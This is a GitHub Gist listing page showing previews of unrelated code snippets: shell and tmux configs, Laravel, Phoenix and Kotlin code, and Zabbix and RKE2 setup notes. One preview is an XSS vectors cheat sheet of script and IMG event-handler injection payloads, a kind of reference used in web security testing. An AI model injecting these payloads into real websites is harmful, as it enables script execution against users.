Skip to content

Instantly share code, notes, and snippets.

@wd5gnr
wd5gnr / cdfunc.sh
Last active May 3, 2024 11:21
cdfunc.sh
# This function defines a 'cd' replacement function capable of keeping,
# displaying and accessing history of visited directories, up to 10 entries.
# To use it, uncomment it, source this file and try 'cd --'.
# acd_func 1.0.5, 10-nov-2004
# Petar Marinov, http:/geocities.com/h2428, this is public domain
xcd_func ()
{
local x2 the_new_dir adir index
@Valian
Valian / app.html.heex
Created May 2, 2024 17:34
Phoenix LiveView teleport hook
<.flash_group flash={@flash} />
<main>
<%= @inner_content %>
</main>
<%!-- We're doing teleport because navigation is rendered in root layout which is not updated --%>
<%!-- Notice "hidden" class, it's important because we're not really teleporting content, but duplicating it --%>
<div :if={@current_user} id="onboarding-render" phx-hook="teleport" data-teleport-target="onboarding" class="hidden">
<MyApp.Onboarding.onboarding current_user={@current_user} />
@jwalton512
jwalton512 / Api\Admin\TestCase.php
Created August 9, 2015 08:46
Api Testing With Laravel 5.1 (jwt-auth)
<?php
namespace Tests\Api;
use App\User;
use Tests\TestCase as BaseTestCase;
use Illuminate\Contracts\Auth\Authenticatable as UserContract;
class TestCase extends BaseTestCase
{
@mwalczak
mwalczak / zabbix_migration.md
Last active May 3, 2024 11:18
Migrating Zabbix with MySQL backend to a new machine

Today I've solved the problem of one server being to slow to handle the growth of my zabbix configuration. I'm using zabbix-server 2.2.2 with MySQL/Debian backend and around 20 zabbix-agents with Debian installed.

Let's say old Zabbix server IP is: A.B.C.D and new is: U.X.Y.Z. The domain name for the instalation will be: http://zbx.newmachine.com

Below you will find all steps to migrate your configuration:

Ensure all agents will accept connections from the new IP Modify each agent configuration file (in debian: /etc/zabbix/zabbix_agentd.conf) and add new IP

@zach-klippenstein
zach-klippenstein / SegmentedControl.kt
Last active May 3, 2024 11:15
iOS-style segmented control in Compose
import android.annotation.SuppressLint
import androidx.compose.animation.core.animateDpAsState
import androidx.compose.animation.core.animateFloatAsState
import androidx.compose.foundation.Canvas
import androidx.compose.foundation.background
import androidx.compose.foundation.gestures.awaitFirstDown
import androidx.compose.foundation.gestures.forEachGesture
import androidx.compose.foundation.gestures.horizontalDrag
import androidx.compose.foundation.layout.Arrangement.spacedBy
import androidx.compose.foundation.layout.Box
@kurobeats
kurobeats / xss_vectors.txt
Last active May 3, 2024 11:15
XSS Vectors Cheat Sheet
%253Cscript%253Ealert('XSS')%253C%252Fscript%253E
<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onafterprint="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onbeforeprint="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onbeforeunload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onerror="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onhashchange="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onmessage="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x ononline="alert(String.fromCharCode(88,83,83))">
@spicycode
spicycode / tmux.conf
Created September 20, 2011 16:43
The best and greatest tmux.conf ever
# 0 is too far from ` ;)
set -g base-index 1
# Automatically set window title
set-window-option -g automatic-rename on
set-option -g set-titles on
#set -g default-terminal screen-256color
set -g status-keys vi
set -g history-limit 10000
@AntreasAntoniou
AntreasAntoniou / huggingface_upload_download_parallel.py
Last active May 3, 2024 11:10
A script that automates upload and download using parallel workers with the huggingface api
# Python Package Imports
import os
import multiprocessing as mp
try:
import fire
from tqdm.auto import tqdm
from huggingface_hub import HfApi, hf_hub
except ImportError as e:
# Handle missing library
@superseb
superseb / rke2-commands.md
Last active May 3, 2024 11:07
RKE2 commands

RKE2 commands

Install

curl -sL https://get.rke2.io | sh
systemctl daemon-reload
systemctl start rke2-server
@mongonta0716
mongonta0716 / boards_m5stack-nanoc6.json
Last active May 3, 2024 11:06
M5Stack M5NanoC6でRGBLEDを光らせる。(VSCode+Platformio) ※ jsonファイルはboards/m5stack-nanoc6.jsonに作成する。
{
"build": {
"core": "esp32",
"f_cpu": "160000000L",
"f_flash": "80000000L",
"flash_mode": "qio",
"mcu": "esp32c6",
"variant": "esp32c6"
},
"connectivity": [